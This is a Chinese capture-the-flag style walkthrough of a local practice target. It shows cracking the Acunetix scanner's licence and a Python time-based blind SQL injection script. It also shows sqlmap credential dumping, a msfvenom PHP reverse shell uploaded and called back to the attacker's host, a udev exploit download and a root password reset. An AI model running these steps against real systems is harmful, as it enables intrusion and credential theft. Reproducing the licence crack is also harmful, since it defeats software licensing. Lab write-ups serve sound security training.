零基础打靶—BC1靶场

2024-01-01 12:31:55

一、打靶的主要五大步骤

1.确定目标:在所有的靶场中,确定目标就是使用nmap进行ip扫描,确定ip即为目标,其他实战中确定目标的方式包括nmap进行扫描,但不局限于这个nmap。
2.常见的信息收集:比如平常挖洞使用fofa,天眼查,ip域名等进行查,在我们这次训练靶场中比如信息收集包括查看源码,使用工具dirb等
3.发现漏洞:之前你们看到那些理论比如sql注入,文件上传等,或者找到相关的系统信息,去网上找相关的exp这些都是为了拿到webshell
4.利用漏洞就是使用漏洞拿到webshell
5.权限提升,就是所谓的提权,因为一般进入拿到webshell后进入到服务器了都是低权限,在接下来的靶中我们的目标都是拿到root权限,所以拿到webshell后是低权限用户,这个时候我们需要一系列的方式进行提权,最后拿到root权限,即为结束。


? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 文章所需靶场及打靶过程所遇问题关注后私信获得


二、打靶的具体流程

渗透测试工具安装Awvs

┌──(kali?kali)-[~]
└─$ ls
Awvs.zip  Documents  Music     Public     Videos
Desktop   Downloads  Pictures  Templates
                                                                         
┌──(kali?kali)-[~]
└─$ unzip Awvs.zip  
Archive:  Awvs.zip
  inflating: Awvs/wa_data.dat        
  inflating: Awvs/license_info.json  
[Awvs.zip] Awvs/install.log password: 
password incorrect--reenter: 
password incorrect--reenter: 
  inflating: Awvs/install.log        
  inflating: Awvs/acunetix_14.5.211115146_x64.sh 

┌──(kali?kali)-[~]
└─$ cd Awvs            
                                                                         
┌──(kali?kali)-[~/Awvs]
└─$ ls
acunetix_14.5.211115146_x64.sh  license_info.json
install.log                     wa_data.dat

┌──(kali?kali)-[~/Awvs]
└─$ sudo ./acunetix_14.5.211115146_x64.sh 
[sudo] password for kali:

按回车同意隐私条款…..注意 一直长按就行了,直到末尾输入yes

然后输入用户名和密码以及邮箱。邮箱:123456789@qq.com 密码:!123456Kr

接下来浏览器输入https://192.168.99.128:3443/192.168.99.128

邮箱:123456789@qq.com???密码:!123456Kr

登录后,提示目前是尚未激活的状态。

接下来进行破解

┌──(kali?kali)-[~/Awvs]
└─$ sudo cp -r  license_info.json /home/acunetix/.acunetix/data/license
┌──(kali?kali)-[~/Awvs]
└─$ sudo chattr +i /home/acunetix/.acunetix/data/license/license_info.json 
┌──(kali?kali)-[~/Awvs]
└─$ sudo rm -rf /home/acunetix/.acunetix/data/license/wa_data.dat
┌──(kali?kali)-[~/Awvs]
└─$ sudo cp -r  wa_data.dat /home/acunetix/.acunetix/data/license
┌──(kali?kali)-[~/Awvs]
└─$ sudo chattr +i /home/acunetix/.acunetix/data/license/wa_data.dat 
修改hosts文件
vim /etc/hosts
#增加下面两行
127.0.0.1 updates.acunetix.com
127.0.0.1 erp.acunetix.com
┌──(kali?kali)-[~/Awvs]
└─$ cat /etc/hosts                                            
127.0.0.1       localhost
127.0.1.1       kali
::1             localhost ip6-localhost ip6-loopback
ff02::1         ip6-allnodes
ff02::2         ip6-allrouters

┌──(kali?kali)-[~/Awvs]
└─$ sudo vim /etc/hosts
                                                                         
┌──(kali?kali)-[~/Awvs]
└─$ cat /etc/hosts
127.0.0.1       localhost
127.0.1.1       kali
127.0.0.1       updates.acunetix.com
127.0.0.1       erp.acunetix.com                                         ::1             localhost ip6-localhost ip6-loopback
ff02::1         ip6-allnodes
ff02::2         ip6-allrouters

然后再次刷新浏览器,可以看到已经激活

设置不更新

AWVS进程:

信息收集查询靶机的IP 与开放端口以及一些渗透测试需要的信息

自己的网卡设备名和IP地址段

使用工具对该网段进行局域网存活主机探测

使用nmap对发现的主机进行扫描

┌──(kali?kali)-[~]
└─$ nmap 192.168.8.0/24  

信息识别

Wappalyzer插件获得信息:Web服务:Apache 2.2.3操作系统:Centos后端语言:PHP 5.2.6

?Web漏洞扫描发现

Awvs进行Web漏洞探测发现打开本地靶场

新增扫描探测目标

填入目标地址,标注标题,点击又上角的save

可以设置扫描速度,这里暂时默认

点击scan 开始进行漏洞扫描探测

可以看到在扫描中

可以看到扫描出的漏洞,需要进一步验证

这里也可以看到站点目录结构

SQL注入挖掘

发现输入?id=1 ??2,3,4 会有变化

发现输入 ?id=1' ???id=1" ?没有返回信息,没有报错

尝试输入 ?id=1 and sleep(2) 页面加载明显变慢

这里?可以使用时间盲注进行手工探测结合上面测试的SQL注入点,可以尝试进行代码注入

编辑sqlInjection-time_py3.py


#coding:utf-8
import requests
import time
#ip地址需要根据实际情况进行修改
ip_port="192.168.99.131:80"
data={
	"login":"bee",
	"password":"bug",
	"security_level":"0",
	"form":"submit"
}
urlLogin="http://%s/index.php"%ip_port
session=requests.session()
resp=session.post(urlLogin,data)
num=0

#获取数据库名称长度
for i in range(1,21):
	url="http://%s/index.php?id=1 and length(database())=%d and sleep(3) -- &action=search"%(ip_port,i) 
	startTime=time.time()
	rsp=session.get(url)
	endTime=time.time()
	ga=endTime-startTime
	if ga>1:
		print("length of database name is %d"%i)
		print(startTime)
		print(endTime)
		num=i
		break

#获取数据库名字
l=[]
print("%d"%num)
for j in range(1,num+1):
	for k in range(33,128):
		url="http://%s/index.php?id=1 and ascii(substr(database(),%d,1))=%d   and sleep(3) -- &action=search"%(ip_port,j,k)
		startTime=time.time()
		rsp=session.get(url)
		endTime=time.time()
		ga=endTime-startTime
		if ga>1:
			print(chr(k))
			l.append(chr(k))
			break
print(l)

使用sqlInjection-time_py3.py 进行测试注入Python sqlInjection-time_py3.py

可以看到通过代码,可以拿到当前的数据库信息是:CMS

结合nikto进行漏洞挖掘

敏感目录探测:/sql/

┌──(kali?kali)-[~]
└─$ nikto -h http://192.168.99.131  说明:扫描目标CGI安全(危险文件及路径)

这里可以看到敏感目录 sql

这里有一个数据库文件,?可以打开看一下

这里可以看到一些敏感信息,访问开放的db.sql文件,拿到

用户名和密码admin adminpass

可以看到登录成功,但是没有看到多余的标签页,还是Home、login 考虑到是否有其他页面没有显示出来,尝试用不同的浏览器测试。下安装谷歌浏览器:在/usr/share/applications/下可以看到,然后把图标可以发送到桌面

发现,再谷歌浏览器中,显示了新的标签页

这里可以看到上传页面,可以测试是否存在上传漏洞

这里看到有重置密码的地方,可以测试是否存在csrf漏洞

这里可以看到之前的登录日志

敏感目录探测:/docs/:

这里可以看到敏感目录 docs

这里可以看到有敏感文件,有code_backup.tgz 代码备份phpinfo.php PHP信息页面可以尝试下载源码进行查看

可以把下载的笔记发送到桌面进行查看

把发送的桌面的源码包放到新建的code文件下进行解压查看

┌──(kali?kali)-[~/Desktop]
└─$ mkdir code
┌──(kali?kali)-[~/Desktop]
└─$ cp code_backup.tgz code  
┌──(kali?kali)-[~/Desktop]
└─$ cd code  
┌──(kali?kali)-[~/Desktop/code]
└─$ tar -zxf code_backup.tgz 

我们可以进入相关的文件夹下,进行代码查看我们先进入到actiocns 文件夹下进行查看,这里先查看default.php

可以再打开login.php代码页面

SQLMap获取敏感信息

┌──(kali?kali)-[~]
└─$ sqlmap -u "http://192.168.99.131/index.php?id=4" --dbs

┌──(kali?kali)-[~]
└─$ sqlmap -u "http://192.168.99.131/index.php?id=4" --dbs -D cms --tables

┌──(kali?kali)-[~]
└─$ sqlmap -u "http://192.168.99.131/index.php?id=4" --dbs -D cms --tables -T user --columns

┌──(kali?kali)-[~]
└─$ sqlmap -u "http://192.168.99.131/index.php?id=4" --dbs -D cms --tables -T user --columns -C user_id,user_username,user_password --dump

文件包含利用

MSF反弹shell

┌──(kali?kali)-[~]
└─$ msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.99.128 LPORT=4444 -o shell.php

可以看到这里生成并保存了shell.php 网页木马接下来上传刚刚生成的shell.php,打开谷歌浏览器,打开http://192.168.99.131/ ?点击登录,输入 admin/adminpass找到Add Event 的标签页

在这里进行shell.php 上传

可以看到提交后没有任何的提示回到网页界面,可以观察到

可以看到已经上传成功,路径是/files/shell.php接下来使用msfconsole工具

┌──(kali?kali)-[~]
└─$ msfconsole

接下来启动监听

msf6 > use exploit/multi/handler  使用监听模块
[*] Using configured payload generic/shell_reverse_tcp  被动监听
msf6 exploit(multi/handler) > set payload php/meterpreter_reverse_tcp
payload => php/meterpreter_reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.99.128 设置本地地址
lhost => 192.168.99.128
msf6 exploit(multi/handler) > set 查看配置
msf6 exploit(multi/handler) > exploit  开启监听,

进一步确认监听端口是否正常开启

┌──(kali?kali)-[~]
└─$ netstat -tunlp 

接下来在靶机进行点击操作,点击之前上传的,shell.php 产生链接会话

注意这里已经可以看到链接会话session 1 opened

下面?可以查看系统信息

meterpreter > sysinfo 

?可以看到系统内核是:Linux 内核2.6版本?可以尝试搜索 Linux 内核2.6版本

看到有关键词提权

udev提权输入shell

meterpreter > shell 

输入系统命令查看:查看系统IP:ifconfig

查看当前用户 whoami

可以看到当前用户Apache 服务用户权限不是系统用户

获得交互式shell :python -c 'import pty; pty.spawn("/bin/bash")'
python -c 'import pty; pty.spawn("/bin/bash")'
bash-3.2$ whoami 
whoami 
apache
bash-3.2$ 

提取权限

┌──(kali?kali)-[~]
└─$ sudo searchsploit -u   #更新
┌──(kali?kali)-[~]
└─$ sudo searchsploit linux udev

找到对应的攻击代码

┌──(kali?kali)-[~]
└─$ ls /usr/share/exploitdb/exploits/linux/local 

拷贝到当前目录下

┌──(kali?kali)-[~]
└─$ cp /usr/share/exploitdb/exploits/linux/local/8478.sh ./
                                                                             ┌──(kali?kali)-[~]
└─$ ls                                          
8478.sh  

下面把8478.sh 上传到靶机

可以看到当前的目录就是之前的文件上传目录下面?把8478.sh 上传到这个目录

┌──(kali?kali)-[~]
└─$ python -m http.server			
########将存放攻击代码的/home/kali作为临时http服务器共享目录,并临时开放http服务

┌──(kali?kali)-[~]
└─$ pwd               
/home/kali

┌──(kali?kali)-[~]
└─$ python -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

在之前的窗口把8478.sh 下载到目录

ls 查看可以看到已经把8478.sh 下载下来了

#这里可以看没有执行权限?需要给到执行权限bash-3.2$ chmod +x 8478.sh ??#给执行权限

bash-3.2$ ls -l 
ls -l 
total 68
-rw-r--r-- 1 apache apache  3365 Nov 19  2022 8478.sh  
bash-3.2$ chmod +x 8478.sh   #给执行权限
chmod +x 8478.sh 

bash-3.2$ ls -l 
ls -l
total 68
-rwxr-xr-x 1 apache apache  3365 Nov 19  2022 8478.sh

利用攻击脚本进行攻击,查看一下当前的进程

bash-3.2$ cat /proc/net/netlink 			#查看进程号PID

这里可以看到一个,笔记特殊的进程号,ffffffff netlink是一种基于网络的机制,允许在内核内部以及内核与用户层之间进行通信

这里可以看到提权成功,由bash-3.2$ 变成 sh-3.2# 可以输入命令,whoami或者id进行验证

可以看到已经是root的用户及权限

下面?可以修改root超级管理员的密码

sh-3.2# passwd root 
passwd root 
Changing password for user root.
New UNIX password: 123456

BAD PASSWORD: it is too simplistic/systematic
Retype new UNIX password: 123456

passwd: all authentication tokens updated successfully.
sh-3.2# 

尝试使用root,修改后的密码123456 进行系统登录

查看IP地址:ifconfig

查看SSH是否安装(检查是否装了SSH包)。输设置SSH服务为开机启动。

远程链接也可以登录

三、打靶思路总结

  • 使用扫描工具识别主机及端口服务,进行威胁建模

  • 使用工具进行服务枚举,得到数据库文件和网站源码

  • 审计网站源码,发现存在SQL注入和文件包含漏洞

  • 通过SQLMAP进行注入,得到用户名和密码凭证

  • 使用msf生成php反向shell,通过上传执行反向连接

  • 寻找内核版本exp,从而提权到root用户

文章来源:https://blog.csdn.net/qq_61861243/article/details/135322694
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。